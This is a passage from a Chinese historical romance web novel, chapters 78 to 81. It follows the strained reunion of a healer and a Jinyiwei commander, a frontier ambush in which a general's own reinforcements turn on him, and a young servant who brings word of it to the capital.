陆琛看着她，听出她语气中的疏离，心中虽然失落，但表面却没有表露任何痕迹：“这是自然。只是如今有了朝廷的帮助，可以减轻你们的负担，何乐而不为。救助难民本就是朝廷的责任，如今朝廷和百姓合力解决此问题，不是皆大欢喜之事，莫娘子无须如此敏感。”
听了他的话，莫婉晴这才抬头看向他，发现对方正一瞬不瞬地盯着自己，有些怔住。
“莫娘子，希望今后你我可以合作愉快。”
78.第 78 章
“莫娘子，希望今后你我可以合作愉快。”
莫婉晴看着眼前的男人，他似笑非笑地看着自己，眼底全是笃定。
这让她想起他们第一次见面的情景。
他也是同现在这般，眼神阴唳，笑里藏刀。
他又变回了以前的陆琛。
明明这是她所期盼的结果，明明她也是为此才痛下决心与他分开。
为何看到现在的陆琛，莫婉晴的胸口会微微刺痛？
她勉强自己露出一丝不自然的笑：“合作愉快，陆大人。”
虽然有了锦衣卫做后盾，救济驿站确实没有了后顾之忧。
再那之后，无论是青龙帮还是白虎帮，都没有再来也不敢再来找他们的麻烦。
只是平时陆琛很少会来驿站。
不用每天见到陆琛，这让莫婉晴松了口气。
不然，她会担心不知要跟陆琛如何相处。
两人仿佛是刻意躲避着对方，彼此心照不宣。
今日陆思云放了衙便直接去了珍果苑，马上就要到中秋了，店里忙着准备中秋的礼盒，翠柳那边忙得不可开交。
陆思云现在就是一块砖，哪里需要就往哪里搬。
平日店里人手够，她便待在救济驿站帮莫婉晴。如果医馆和点心铺哪边缺人了需要帮忙，她便去哪边支援。
所以，今夜救济站只有莫婉晴一个人。
结束了一天的活，她留下来收拾收拾、打扫打扫卫生。
这是莫婉晴一天中最享受的时刻。
在宁静的深夜，一个人安安静静地收拾东西，将驿站布置的整整齐齐的，这样第二天大家又可以在干净的环境里开始干活，这是属于她个人的小小成就。
陆琛从北镇抚司出来，他抬头看着夜色，突然不想立刻回府。
反正回去府里也是一个人，冷静的很，与现在没什么分别。
他漫无目的地走在大街上。
深夜的大街空荡荡的，只有他鞋底摩擦路面发出的“嚓嚓”声。
这让他想起曾经好多个夜晚，他和莫婉晴也是在这样的夜色中，一起走在深夜空无一人的大街上，边走边说着话。
内容有时会涉及到重要的事，但更多的都是一些无关紧要的话。
可是陆琛就是喜欢听她说话。
哪怕是这些无关紧要的话，只要是出自她口，他都愿意听。
只是现在，他已经再也没有这样的机会了。
莫婉晴突然要跟他断了，他从震惊到不理解再到愤怒。
他陆琛，虽然家世门第并不是大宣国最好的，并且他的名声怕是只能用“臭名昭著”、“人见人怕”来形容。
但官职上他好歹是正三品官员。
官职并不低，要什么样儿的世家女子找不到？
可他却偏偏着了她莫婉晴的道。
非她不可。
她选择结束，陆琛只有尊重。
但这并不表示，他就会放弃。
他看得出，莫婉晴对自己还有情，只是不知为何突然如此，若就这么轻易放弃，那他就不是陆琛了。
走着走着，不知不觉，陆琛便走到了救济驿站的后门。
他看着救济站的后门愣神了片刻，然后有些失笑。
这些日子，他是知道莫婉晴一直待在救济站内帮忙。
所以自己散步的时候，才会下意识地走到这里吧。
他的内心，总是无时无刻不牵挂着她。
有时候他也很气自己，为何总是放不下她，明明是她先不要自己，他却还是不争气的没办法忘记她。
陆琛无奈地的对自己摇了摇头，继续往前走。
当他走到正门的时候，突然听见屋里传来的声响。
这么晚了，还有人在救济站没有走？
他好奇地走过去，看到屋里那个正在忙碌的身影，那个他日思夜想的人。
莫婉晴察觉到门口站着人，她直起身子看向门外。
四目相对，二人俱是一怔。
“你怎么在这儿？”两人异口同声地问对方。
问完了，又陷入了一阵沉默。
莫婉晴率先打破沉默：“我在收拾东西，收拾完就回去。”
“我帮你吧。”
听见他要帮自己，莫婉晴下意识地拒绝：“不用了，我一个人可以的……”
但是对方并没有听她的话，而是径自走进屋内，帮她一起收拾。
“你每天晚上都会留下来收拾么？”
“嗯。”
“那不是会很辛苦？”陆琛下意识地说。
一说完，两人都愣了一下。
陆琛也意识到自己说这话有些表现得过于关心，于他们如今的关系，有些逾越。
他干咳一声以此掩饰尴尬。
“我是自愿留下来帮忙收拾的。原本白天，我也帮不上什么忙，有很多人在这里各司其职。我能做的也就是这些收尾工作。”
“你不必妄自菲薄，你的能力我是知晓的。”
莫婉晴停下手中的活看向他。
其实今夜能见到陆琛，她心里是欢喜的。
可她却不能将这份喜悦表现出来。
如今听到他对自己的认可和夸赞，她顿觉眼眶发酸，心底有股说不清道不明的情绪正在涌出。
她连忙转过身，努力平复自己的情绪。
陆琛见她转过身背对自己，以为她并不想见到他，心里很失落。
“我并不是因为你建立了这个救济站，为了接近你，才说要与你合作。我确实是受了皇上的旨意救助灾民，才来此处。希望你不要多想。”
“我清楚的。”
她知道陆琛的为人，向来是光明磊落。
自从自己说要同他分开，她知道其实他心里有太多的困惑和不理解。
但就算是这样，他也还是选择尊重她的决定。
并且分开后，他从未纠缠过她。
所以，莫婉晴知道，这次他的出现，目的一定不是为了接近自己。
对此，她从未怀疑过。
莫婉晴一边想着心事，一边干活，心里慌乱得很，一个没留神，便撞到了一旁的架子上。
架子立刻朝着她倾倒了下来。
幸亏陆琛反应及时，出手将架子支撑住，这才使得架子没有倒下。
而莫婉晴也被夹在了陆琛和架子的中间。
两人的距离近在咫尺，彼此的呼吸缠绕在一起。
莫婉晴瞪大了眼睛看着眼前这张日思夜想却又不敢有所奢求之人的特写脸，忘记了呼吸。
直到陆琛温热的呼吸吹在自己的脸颊上，她这才发觉他们此时的样子有多么的不合适。
她立刻微微下蹲，从他的手臂下穿出来。
鼻尖属于她的香气消散，让陆琛的理智瞬
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间回笼，他双手微微使力，将架子推回墙边。
方才氛围有所缓和的二人，此时又变得尴尬无比。
甚至与比刚才碰面的时候，还要尴尬好几倍。
陆琛沉默了片刻，愣是憋出一句：“你……收拾完了吗？”
“差、差不多了。”
“那我送你回医馆。”
“不用了，我自己回去就行。”
“夜深，你一女子走夜路很危险，还是我送你吧。我就走你后面，护送你回去。看你到了我立刻离开。”
莫婉晴觉得他说得有些道理，于是便点头同意。
两人踏着月光，一前一后，走在路上。
谁都没有说话，但二人却在心中默默地牵挂着彼此。
陆琛看着走在前面那个人的背影，他忽然觉得，其实只要默默地跟在她身后，默默地看着她，哪怕只是背影，自己就已经很幸福了。
莫婉晴走在前面，但她知道陆琛就走在她身后不远处，虽然她不能转身看他，不能同他说话，但是有他陪着，自己心里莫名地觉得踏实。
在快到医馆门口的时候，突然从旁边的巷子里面跑出来一个醉汉，冲过来想要抱住莫婉晴。
吓得莫婉晴本能地发出尖叫。
还好有陆琛在后面，一下子就将莫婉晴搂在怀中，然后干净利落抬起腿狠狠地踹向那名醉汉。
那名醉汉被陆琛一脚踹地飞向了墙边，然后晕倒在地，没了知觉。
莫婉晴惊魂未定，躲在陆琛怀里喘着粗气。
陆琛下意识地搂紧了她，轻拍她的后背安慰：“没事了，不要怕，有我在。”
很快，莫婉晴便缓过神来，发现自己正被陆琛紧紧搂在怀中。
两人又是一阵尴尬。
“抱歉，方才只是一时情急，冒犯了莫娘子。”
陆琛说着，便想松开。
谁想，莫婉晴却伸出手臂，搂紧了他的脖子，将自己的脸埋进了他的肩膀中，加深了这个拥抱。
陆琛怔住。
一时间忘记了动作。
在他还在愣神之际，莫婉晴飞快地放开了他，然后转身跑进了医馆内。
只留陆琛一人在门口发着呆。
陆思云正往门口走去，看到莫婉晴急匆匆地往里走，笑着说：“我正打算去驿站接姐姐，姐姐倒是自己回来了。”
可是莫婉晴却没有理会她，而是低着头，飞快地从她身边走过，一句话也不说。
陆思云莫名，她走到医馆门口，正打算关上门，却看到陆琛站在门口，一动不动，似乎是在发呆。
她一下子明白了，为何莫婉晴会如此反常。
一向镇定自若，好像什么事都难不倒她的莫姐姐，也只有在遇到这个男人的时候，才会如此方寸大乱。
“陆大人？”
陆思云小心翼翼地唤了他一声。
陆琛这才如梦初醒，待他看清楚门口站着的人时，他微微作揖道：“楚娘子。”
陆思云垂眸思考片刻，笑着道：“陆大人现在是否有时间，我想同大人说几句话。”
陆琛知道，她定是想要与自己说莫婉晴的事。
这正合他意。
方才的那个拥抱，让陆琛坚定地相信莫婉晴对自己还有很深的感情。
既如此，她为何执意同自己分开。
也许，楚星然这里，会有他想要的答案。
79.第 79 章
两人来到路边的一家小酒馆内。
夜已深，酒馆内人已经十分稀少，几乎没有几个人还留在那喝酒。
他们找了一个不起眼的角落坐下。
陆琛要了一壶酒，然后亲自为二人满上。
陆思云看着他为自己斟酒，笑道：“今日如果不是我叫住陆大人，想必陆大人心中也有很多疑问想要问我吧？”
陆琛端起酒杯，诚恳地说：“希望楚娘子解惑。”
然后将杯中酒一饮而尽。
看他态度如此有诚意，陆思云也不好再拿乔。
毕竟她此次找他喝酒的本意就是为了化解他们二人心中的心结。
也许自己有些多管闲事。
但她实在不忍心看到两位有情人就此错过。
“这次我约陆大人出来，莫姐姐并不知晓，所以算是我自作主张为之，跟莫姐姐无关，希望陆大人能明白。”
陆琛了然地点头。
他拿起桌上的酒杯，又给自己满上了一杯，然后递到嘴边小酌了一口。
他当然知道，楚星然会喊住他，并不是莫婉晴让她这么做的。
以他对莫婉晴的了解，她要跟自己分开绝对是出自她自己的意愿，不会是外力所致。
如果是外界因素，她一定不会这么轻易地就放弃他。
同时她又是一个做事不拖泥带水，干脆利落之人。
既然她下定决定要跟自己分开，她是断然不会来找自己复合的。
虽然从方才的那个拥抱里，他感受到了她的不舍和无奈，也许还有一丝后悔，但就算是这样，她也绝对不会出尔反尔否定当初的决定。
她就是这样的一位坚定、果敢，有魅力的女子。
所以他才会这样被她吸引，甘之如饴。
“在下知道，她不是这样的人。”
陆思云点点头，“但是我却不愿看到姐姐和陆大人都如此痛苦，才会自作主张，约大人出来一叙。”
“陆某并无意纠缠，只是不明白她为何突然如此？”
“其实姐姐也不是突然这样。她只是害怕了……”
“害怕？怕什么？”
“她害怕你因为她而变得不再像你自己。”
陆琛的脸上露出疑惑的神情：“这是何意？为何我会因为她而变得不像自己？我一直是我，从未变过。”
“真的没有变过吗？”
陆思云看着他的眼睛，认真地问。
陆琛怔住。
他似乎有点明白对方的意思。
陆思云继续说：“以前的锦衣卫指挥使陆琛，杀人不眨眼，走过之处无不血雨腥风，只要听到他的名字，就会令人闻风丧胆，他们都叫你‘活阎王’。可就是这样一位铁血无情之人，在遇见莫姐姐之后，变得不再冷冰冰，而是变得柔和，变得有血有肉了。”
“可是锦衣卫是皇上的刀，刀不应该有感情，刀不应该有温度，刀不应该在面对敌人的时候有半分迟疑。”
“所以姐姐才会害怕，她怕因为自己而让你有了软肋，有了弱点。她怕你有一天会因为她而丢了性命。你也曾说过，你的生活本就充斥着打打杀杀、血雨腥风，如果你有了弱点，就相当于把你的心脏面向敌人，轻而易举就会被敌人杀死。”
“她不要你死，舍不得你死。既然她是你的弱点，她就自己将你的这个弱点切除。”
听了陆思云的话，陆琛握着酒杯的手不自觉地开始用力。
原来是因为这样，她才会这般。
“可她为何如此笃定，我就会为了她放弃自己的生命？”
“因为谢礼望那件事，让她预测到，也许未来会有这么一天，她不敢赌。”
“什么意思？”
“谢礼望的事，原本锦衣卫就不该插手。可你为了莫姐姐，却私自抓了谢礼望逼供，惹得圣上大怒，打了你三十军棍。”
“也许在陆大人看来，这不过就是一件小事。只要帮莫姐姐解决了此事，结果是好的，你就并不在乎自己又被罚俸禄又被打。”
“可莫姐姐不能不在乎。她在心疼你为她受伤的同时，却在后怕。你为了她可以违背自己的原则，利用职权帮她解决问题，那未来就有很有可能为了她不顾自己的性命豁出去保护她。”
“陆大人，您了解莫姐姐的为人，难道莫姐姐就不了解您的为人？既然爱意是相互的，为彼此牺牲也是相互的。她就是这么笃定，你会为了她不顾一切，不惜代价。”
“您扪心自问，如果有一天莫婉晴的性命与自己的性命要你抉择，你会怎么选？”
答案不言而喻。
原本他不知晓莫婉晴执意与自己分开的原因，他尚且放不下她。
如今他知道了原因，知道她对自己用情至深，自己又如何放手？
他放下手中的酒杯，对着陆思云双手作揖，“今日听了楚娘子的话，在下不想就这样放弃她，还望楚娘子帮帮在下。”
帮是一定要帮的。
只是这个忙该如何帮，还得让她好好想一想。
莫婉晴表面上看上去文文弱弱的样子，性子却比谁都倔强。
一旦是她决定好的事，便很难改变。
哪怕有她的暗中帮助，陆琛也不能立刻就将莫婉晴追回。
只能从长计议。
“这件事急不得。陆大人只需记住莫姐姐心里依旧满心满眼装的都是你，容不下其他人。其他的，还需要慢慢等她自己松动，您再找准机会，打开她的心房才行。”
“楚娘子说的是，我会等她，等到她想通，愿意重新接受我为止。”
对于陆琛的回答，陆思云非常满意，她露出了欣慰的笑容。
与陆琛拜别后，她一个人走在回去的路上。
初秋的深夜透着微微的凉意，她紧了紧衣裳，一边朝着医馆的方向走去，一边抬头看着天上的星空。
透过漆黑的夜空，她在想着那个人此时在做什么？
是不是还在深夜挑灯在营帐里研究战况，研究部署。
他们是不是不久后就可以团聚了。
她可真想宋晏楚啊。
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边境处，杨家军的营帐内。
宋晏初和杨诚还真如陆思云所猜测的那边，正在挑灯研究着地形图。
目前战况势均力敌，但只有他们二人清楚，再这样耗下去，对他们来说有些不利。
他数日就写信回洛城请求援军和军饷。
但却迟迟没有受到回复。
而援军和军粮也迟迟没有见到踪影。
二人正在商量对策之际，仕尔多带着纱布和药膏从
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外面进来，不动声响地在宋晏初旁边坐下，然后熟练地给他受伤的手臂换药。
在前几日的交战中，他不慎胳膊受伤，为了防止伤口化脓感染，换药的工作就落到了仕尔多的身上。
自从做了宋晏初的随从，仕尔多做的最多的就是照顾宋将军每日的饮食起居，为他叠被洗衣，送饭倒茶。
这些都是一些基本的杂活，并没什么难度。
但由于他年纪尚小，就这点小事，还经常做不好。
不是衣服洗得不干净，就是被子叠的不够整齐。
要么总是摔破这个，跌碎那个。
他一直都想不明白，为何将军要让自己做他的随从，明明自己什么都做不好，明明自己这么没用。
可是他每次犯错，将军都没有责怪他，总是温柔地对他说：“没事，下次注意。”
可下次当他还是做不好的时候，他却依旧没有责罚他，而是带着鼓励的笑容看着自己。
这次将军在战场上受了伤，仕尔多紧张万分，他害怕将军会死掉，这样就没有人会像他这样对自己这么好了。
幸好，将军只是受了一点皮外伤，并没有大碍。
云青将每日换药的任务交给了他。
这是仕尔多第一次接到任务，自然半点不敢懈怠。
每日雷打不动到时间就去给宋晏初换药。
有了他的精心照顾，宋晏初的伤口不但没有发炎，甚至愈合的很快。
几日下来，手臂已经能正常活动了。
“多谢你的照顾，我的伤才会好得这么快。”
这是他进到这个军营里，第一次受到表扬，仕尔多的小脸上露出了的笑容没有半点掩饰，是最纯粹的，发自内心的笑容。
宋晏初看着眼前这个孩子这般天真无邪的笑，他在心中暗自发誓，一定要亲手结束这场无谓的战争。
然而，出乎他意料的是，我方的援兵还未到，对方的援兵却已到达前线。
两国交战，对方的兵力因为有援军的到来而得到大幅度提升，我军很快就寡不敌众，节节败退。
宋晏初和杨诚带着剩余的兵力撤退到苗南的七重山的山脚下。
杨诚气得直骂娘：“奶奶的，援军为何还未到？这让我们这些残兵破将的，如何与他们对抗？”
想比杨诚的暴躁，宋晏初却冷静许多。
援兵为何迟迟不到，这其中必有猫腻。
而他，等的就是这个露出的马脚。
他随即对一旁的云青命令道：“你立刻带一小分队人马往皇城的方向赶。切记要暗自行事，切莫叫人察觉。如发现任何异常，立刻飞书来报。”
“大人，你是怀疑……？”
宋晏初沉默地点头。
援军没有如约而至，只能是和亲王在从中作梗。
但是他在打什么注意，自己还未能预料，所以需要云青前去打探一番。
“可是我走了，万一敌人发起进攻，大人你又如何应付。”
“我会尽量拖住敌人。你且速度行事，如果能及时将援军带来，我们就能解除危机。”
云青一下子就感受到自己责任重大，他坚定地点点头，然后立刻快速地离开营帐，执行任务去。
他知道，现在是争分夺秒的时候，自己一刻都耽误不得。
80.第 80 章
宋晏初和杨诚，带着剩下的将士们，顽强抵抗着敌军一次又一次的围剿。
他们心中始终坚信着，援军必会到来。
又应付了一轮敌人的进攻，宋晏初和杨诚满身是伤地靠坐在树旁。
二人心里都明白，如果援军还不到，这场仗怕是无力回天。
而他们作为主帅，是断然不会让自己落入敌人之手的。
一定会在敌人俘虏他们之前便自我了断。
如今看来，他们二人离这个结局似乎不远了。
但宋晏初和杨诚的脸上却没有任何惧怕之色。
从他们选择这条路开始，他们就做好了随时赴死的准备。
“宋兄，明日如果援军还不到，只怕是我们撑不了太久了。”杨诚微喘着粗气，笑着说。
宋晏初笑得坦荡：“能同杨将军一起并肩作战到最后一刻，是晏初的荣幸。”
杨诚的眼中闪着泪光，可表情却是笑着的。
“能宋兄同生共死，也是杨某的荣幸。”
“可惜曾今承诺要带杨将军回故土探望家人，终究是要食言了。”
“宋大人也同我一样，与家人相隔千里，无法相见。我们军人，常年在外征战，早就已经习以为常。只是可惜了宋大人原本可以在皇城一展宏图，如今却要与我等在这里浴血奋战，生死未知。”
“从我选择来边境的那一刻起，我就做好了为大宣国牺牲的准备。只是在临死前未能将国之蛀虫斩草除根，心中颇为遗憾。”
“宋大人心系国危，将国之大事凌驾于个人生命之上，这份大义，实在让杨某佩服。”
“杨将军难道不是这样的人么？我们是同类人。”
杨诚一愣，然后大笑了起来：“既然如此，杨某有个不情之请，不知道宋大人是否愿意。”
“杨将军但说无妨。”
“我想同宋兄结拜为义兄，从此兄弟相称，宋大人可否愿意？”
宋晏初原本靠在杨诚对面的树上，听见他的建议，他立刻忍着伤口的疼痛坐了起来。
“承蒙杨将军不弃，晏初求之不得。”
两人小心翼翼地相互搀扶着对方站起来，挑了一处干净的草地，对着天，一起跪了下来。
“黄天在上，后土在下，今日我杨诚愿与宋兄结为异性兄弟，同心同德，患难与共。乐必同乐，忧亦同忧，虽不同生，死愿同死。”
说完，二人对着天地，恭敬地拜了三拜。
结拜完后，宋晏初扶着杨诚，二人一起站起来，彼此看着对方，心情都有些激动。
“杨大哥，晏初自幼族人为奸人所害只留我一人在世，幸得养父收留细心照顾长大，可谁想后来养父被杀，我原本以为自己在这世上再无亲人。想不到，在这里我竟然又有了义兄，此生无憾。”
这是杨诚第一次听到他提起自己的身世。
对于宋晏初的传闻，他略知一二。
传闻他为正直，在任职大理寺少卿之时，屡破奇案，能力超群。
怎会当街斩杀左相？
其中定有隐情。
如今他主动提起自己的生世，杨诚再联想起之前听见的有关他的传言，大致的情况便能猜出个大概。
他握紧宋晏初的手，眼含热泪道：“这次如果我们能死里逃生，大哥答应你，定要帮你将那祸害你家人的罪魁祸首找出来，替你报仇雪恨。”
“好。倘若我们无法逃过此劫，我也愿意陪着大哥一起英勇赴死，战死到最后一刻。”
“有贤弟在大哥身后，大哥便无所畏惧。”
两人这边正因结拜而感动着，突然听到不远处有士兵喊道：“援军来了！援军来了！”
两人连忙跑过去察看。
远远地便看到大宣国的旗子飘扬在空中。
所有人全都欣喜过望。
坚持了这么多天，援军终于来了。
这让宋晏初着实松了口气。
援兵来了，他们就还有赢的可能，并且赢的希望很大。
当大家欢欣鼓舞，准备迎接援军到来的时候。
望着款款而来的大军，队伍是那样整齐，步子是那样的掷地有声，宋晏初突然升起了一丝不祥的预感。
为何援军迟迟不来，如今却突然而至。
云青派出去三天，却音讯全无。
他们苦苦支撑，就是为了这一刻。
可如今这一刻真的来了，大家全都沉浸在死里逃生的喜悦之中时，宋晏初严谨谨慎的老毛病又犯了。
直接告诉他，没有这么简单。
可他却还未来得及细想，所谓的援军，却在离他们不远的地方，突然向他们射出了箭。
漫天的弓箭从天空中飞过来，将士们全都猝不及防，谁都不会想到，自己人不是来救自己的，而是来杀他们的。
没有防备的他们，一个个中箭倒下。
宋晏初脑袋嗡嗡作响。
他没想到自己的担忧居然这么快就成了真。
也许，是敌军扮成了援军，从而让他们卸下防备，然后打他们个措手不及。
一定是这样的！
宋晏初不相信，大宣国的军队会将枪头对准他们。
他拔出倒在自己身旁士兵身上的箭，在看到箭头上自己国/家标记的钢印时，他红了眼眶。
“晏初！”
身边响起杨诚的嘶吼声，他还未反应过来，人就被扑倒。
紧接着，他听见利箭刺入血肉的声音，还有一声闷哼声。
他连忙扶着杨诚起身，看到他背后结结实实地中了一箭。
杨诚脸色微白，额头直冒冷汗，但他还是用镇定地口吻吩咐他：“北面就是七重山，我在这里拖住他们，你快躲进山里，然后找机会回洛城，亲自将此时禀奏皇上。”
“不行，”宋晏初毫不犹豫地拒绝：“你我刚结拜为兄弟，难道现在要我弃兄长于不顾，独自逃命不成？”
“晏初，大局为重！必须要有人活着离开这里，将我们被陷害的事告知朝廷，才有机会为我们这些死去的将士昭雪啊！”
宋晏初眼含热泪，死命握住杨诚的手臂：“我与大哥同生共死，我绝不会独自离开。”
“宋晏初！”杨诚怒吼，气他这么一根筋，不听劝。
“少卿大人、杨将军，快上马！”
就在这时，突然传来一阵马蹄声，云青驾着马从另一边飞奔而来，将二人迅速拉上马背，然后穿梭在飞箭中，离开战场，跑向了北面的七重山中。
------
皇城之内，这几日难民的数量突然剧增。
这样反常的现象，让陆思云的心底产生了阵阵的担忧。
是不是边境的战事告急，才会有这么多的难民涌进洛城？
她的心里越来越牵挂宋晏初，可她却没办法详细知道边境战况，只能从坊间百姓的口中听
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说一些皮毛。
大抵无非就是战事激烈，情况不明。
听了等于没听。
莫婉晴见她愁眉不展，心里也不好受。
她也同样在担心远在边境的宋晏初的安危。
可随着难民人数的增加，救济驿站变得越发的忙碌。
甚至于很多难民身上都带着伤，所以她还要随着华大夫一起去为他们治伤。
人一忙起来，就会顾不上去胡思乱想。
莫婉晴忙得连安慰疏导陆思云的时间都没有。
灵招寺内，莫婉晴正在给其中一位难民包扎伤口，突然走过来一个妇人，小心翼翼地对她说：“这位娘子，那边有一个小男孩晕倒了，身子烫得很，您快去看看吧。”
莫婉晴听了，连忙将手中的收尾工作交给别人，跟着那位妇人来到小男孩身边。
小男孩看上去约莫十几岁的模样，衣着单薄，皮肤黝黑，看长相似乎并不是大宣国人。
但此时男孩眉头紧皱，嘴唇发白，看上去十分不舒服，莫婉晴也顾不上去观察其他，连忙给他看起病来。
幸好，男孩只是有些发热，其他并无大碍。
退热的方子她是知道的，所以她立刻写下方子给身旁的人，嘱咐道：“你拿着这个方子，去城中的民乐医馆抓药，然后送过来把药煎了给他服下，第二天应该就能退热。等他醒了，给他喝点米汤，他看上去已经好几天没好好吃东西，又连着几日赶路，累着了。”
“好嘞。”
忙完手中的事，莫婉晴又看了一眼躺在那一动不动的男孩，然后转身去看诊下一个病人。
第二日，莫婉晴跟着华大夫又来到了灵招寺，察看病者的恢复情况。
莫婉晴心里挂念着昨天那位发热的小男孩，便立刻寻了过去。
她今日特意让翠柳给她留了两块蝴蝶酥，带过来给他吃。
她觉得，小孩子应该都会喜欢吃甜食。
谁知找了一圈，都没有找到他。
莫婉晴问旁边的人：“昨日那位发热的小男孩，去了何处？怎么没见到他的人影。”
那位夫人四周看了一圈，道：“方才还在这儿。昨天晚上，那孩子说了一夜的胡话，一直反复说着，要找宋将军的家人，要找宋将军的家人，整整说了一夜，都是这句话。许是今早醒来退热了，就出去找宋将军的家人了吧。这位‘宋家军的家人’到底说的是谁啊？”
莫婉晴听了，脸色一凛。
她连忙问那位妇人：“那小男孩去往了哪个方向？”
妇人道：“我方才去打粥，我走之前孩子还在这儿呢，回来就不见了，我没看到他去往哪个方向。”
坐着的另外两个人指了指东边的方向，对她说：“孩子朝着那个方向去了。”
莫婉晴点点头，立刻向东面跑去。
“宋将军的家人”中的宋将军，难道指的是宋晏初？
昨日她见到那位男孩，就觉得他虽然年纪尚小，除了外貌长得有点像别国之人，气质却有些像是从军营里出来的。
但是我朝是不可能让这么小的孩童去边境打仗的。
所以她很快便推翻了自己的猜测，并且并未多想。
可如今，一个猜测在她脑中浮现。
这孩子难道是军营里逃出来的？
他执意要找“宋将军的家人”，难道是宋晏初在边境遇到了什么危险？
他是来报信的？
81.第 81 章
莫婉晴追到灵招寺的门口，才看到男孩的背影。
男孩的身形，几乎可以用“骨瘦如柴”来形容，身上已经快没二两肉了。
让人看着莫名地心疼。
“小兄弟，请留步。”莫婉晴气喘吁吁地追上，叫住了他。
男孩转过头好奇地看向她。
见到他，作为医者，莫婉晴第一反应还是先伸手去摸了摸他的额头，确认他是不是已经退热无碍了。
男孩被她突如其来的举动吓了一跳，他下意识地后退了半步，有些脸红地问：“你干什么？”
莫婉晴笑道：“小兄弟莫怕，我是昨日给你治病的大夫，我只是想确认一下你是否退热了。”
男孩听了，立刻弯腰向她行礼：“原来昨日是娘子救了我，仕尔多在此多谢娘子救命之恩。”
一听他的名字，莫婉晴便知他并不是大宣国的子民。
“看小兄弟的样貌，你似乎不是我们国度的人。”
仕尔多却不想同一位陌生人多说什么，于是淡淡地作揖道别：“娘子恕罪，在下还有要事在身，先行别过。”
说完，他转身便要离开。
“小兄弟是否在寻找‘宋将军的家人’？”莫婉晴连忙对着他的背影喊道。
仕尔多一听，连忙转过身又快速回到莫婉晴的面前，表情有些急切：“正是，娘子您认识宋将军的家人？”
“我先问过小兄弟，这位你口中的‘宋将军’，他的全名可是叫宋晏初？”
仕尔多的眼睛立刻闪起了光芒，他连忙点头：“正是。”
莫婉晴神色凝重地拉住他的手臂，道：“你随我来。”
莫婉晴将仕尔多带回了医馆。
陆思云还在六扇门没有放衙，她也不能带着仕尔多去六扇门找人，只能先回医馆等她。
莫婉晴拿出原先为他准备的蝴蝶酥，笑道：“这是我早上想带去灵招寺给你的点心，快吃吧。”
仕尔多到底还是个孩子，看到好吃的点心自然也是嘴馋的。
几下就把蝴蝶酥塞进嘴里吃完了。
“真好吃，这是我吃过世上最好吃的点心。”
听他这样真诚的夸赞，莫婉晴不自觉地笑了起来：“仕尔多弟弟，你跟晏初是怎么认识的？你为何要找他的家人，是不是他在边境出什么事了？”
仕尔多将口中的食物咽下，收起了方才的笑容，认真地说：“此事事关重大，我只能对宋将军的家人说出事情，望娘子莫怪。”
莫婉晴点头。
如今她与宋晏初和离，已经不再是他的家人。
她自知没有资格让仕尔多将事由先说与她听。
既然事关重大，那还得等宋晏初的妻子陆思云回来才行。
莫婉晴便陪着仕尔多一起等。
二人一边吃着点心，一边闲聊，等陆思云放衙回来。
从闲聊中，莫婉晴了解了一些有关他和宋晏初的渊源。
了解到他是晏初的贴身侍从，每日照顾他在军营中的饮食起居。
了解到他原本是北国混在大宣国军队中的细作，被宋晏初发现后，他不但没杀了自己，还让他做了侍从。
他一直都对宋晏初心存感激。
这次冒死离开军营辗转来到洛城，也是为了报恩。
陆思云放衙回到医馆，看到莫婉晴身旁的仕尔多，有些好奇地问：“莫姐姐，你怎么带了个小男孩儿回来？”
莫婉晴见她回来，便起身对仕尔多介绍道：“仕尔多弟弟，这位便是宋晏初的妻子，你有任何事都可以同她说。”
陆思云一副不清楚状况，摸不着头脑的模样看着他们两人。
仕尔多见了陆思云，红着眼眶站起身，突然“噗通”一声跪在她面前。
陆思云下意识地后退半步，满脸疑惑、不知所措地看向一旁的莫婉晴。
“莫姐姐，这是……这是……”
莫婉晴着仕尔多起来，面色凝重地看着他。
直觉告诉她，宋晏初在边境一定出事了。
“小兄弟，这里没有外人，你快说吧，晏初到底出了何事？”
听到“晏初”二字，陆思云的神色立刻紧张了起来：“晏初怎么了？”
“宋将军带兵在与北国军队交战之时，因援兵未及时赶到，深陷困境。苦战三天三夜，终于等来援军支援，他们却对自己人痛下杀手。如今宋将军和杨将军在七重山中生死不明。我从军营里逃出来，就是想找到宋将军的家人，一起想办法去救将军他们。”
“你、你说什么？”
陆思云脑子“嗡”得一声，脸色立刻变得煞白。
就算是一直镇定自若的莫婉晴，此时脸色也极为难看。
陆思云转头就往外跑，被莫婉晴一把拉住：“妹妹你这是要去哪里？”
“我要去七重山救夫君！”
“妹妹你先冷静一下！”
她的心情莫婉晴非常理解，她也心急如焚，但却比不上陆思云半分。
心爱之人遭人陷害生死未卜，她现在肯定痛不欲生。
她如今心中也有心爱在乎之人，她明白陆思云此刻的心情。
只是营救这件事，必须得有周密的计划，绝对不能鲁莽行事。
不然很有可能人没救出来，连陆思云自己的性命也会一起丢掉。
“此时事关关国危，我们必须得找人立刻秉明圣上。”
听莫婉晴这么一说，陆思云顿时冷静了下来。
方才听到宋晏初有难，她慌了神，什么都顾不上了，只想马上跑去七重山救人。
如今经过莫婉晴的提醒，她才恍然大悟。
为何援军迟迟未到？
为何千辛万苦等来的援军却反而要将他们置于死地？
这其中的隐情，却是关乎国危。
这不是她们两个无权无势的女子能轻易介入的。
那她们此刻应该找谁说此事？
她们能立刻想到的，帮得上忙的对象有三人。
莫婉晴父亲，内阁大学士莫中堂。
楚星然父亲，镇北侯楚越。
还有……
锦衣卫指挥使，陆琛。
二人思量了片刻，还是决定去找陆琛商量此事。
为何选择陆琛，她们也是经过了深思熟虑。
首先，莫中堂虽然是朝中威望极大的重臣，如果莫婉晴将此事交给父亲处理，他禀奏皇上之后，由于他老人家是文臣，军事机要并不是他所擅长的领域，皇上还是会委任别人来带兵前去增援。这人选是否会是和亲王的人，未可知。
眼
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下宋晏楚情况危急，如果再给和亲王第二次机会对他赶尽杀绝，那他便再无生的可能。
其次，倘若陆思云去请楚越将军出面处理此事，他是武将出身，并且常年征战在外，有带兵打仗的经验，又绝对是他们信任的自己人，原本是最合适的人选。
可楚将军年事已高，他正是因此才将镇守边关的重任转交给了杨诚将军，自己则回到洛城，过着半隐退的生活。
如今边境战事紧急，其中又有背后之人在从中作梗，形势复杂，需要耗费巨大的精力和体力，楚越将军的身体素质已经无法胜任。
陆琛是她们用排除法之后选择的人选，但其实也是最佳人选。
他只效忠于皇上，是皇上身份最信任的臣子之一。
现在和亲王勾结外敌，残害自己的军队，有损国之安危，他赤胆忠心，一定会义不容辞地帮忙。
再者他正值壮年，武功高强，倘若需要带兵打仗，身体素质是最理想的。
并且他头脑敏捷，定能想办法救宋晏初于水火。
